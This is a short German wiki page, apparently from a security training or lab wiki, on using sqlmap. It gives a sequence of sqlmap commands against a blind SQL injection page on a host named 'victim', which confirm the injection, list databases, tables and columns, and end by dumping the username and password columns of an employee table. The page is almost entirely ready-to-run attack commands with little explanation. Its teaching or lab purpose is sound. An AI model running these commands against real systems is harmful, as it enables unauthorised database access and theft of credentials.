Sqlmap Anwenden
Version vom 25. Juni 2026, 05:42 Uhr von Thomas.will (Diskussion | Beiträge) (→Datenbanken anzeigen (optional))
Ausgabe aller Parameter und Optionen
- sqlmap -hh
Datenbanken anzeigen (optional)
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --dbs --batch --string=VALID
Verwundbarkeit bestätigen
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --batch --string=VALID --flush-session
Tabellen der Datenbank tuxmen
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen --tables --batch --string=VALID
Spalten der Tabelle mitarbeiter
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter --columns --batch --string=VALID
Daten dumpen
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter -C username,password --dump --batch --string=VALID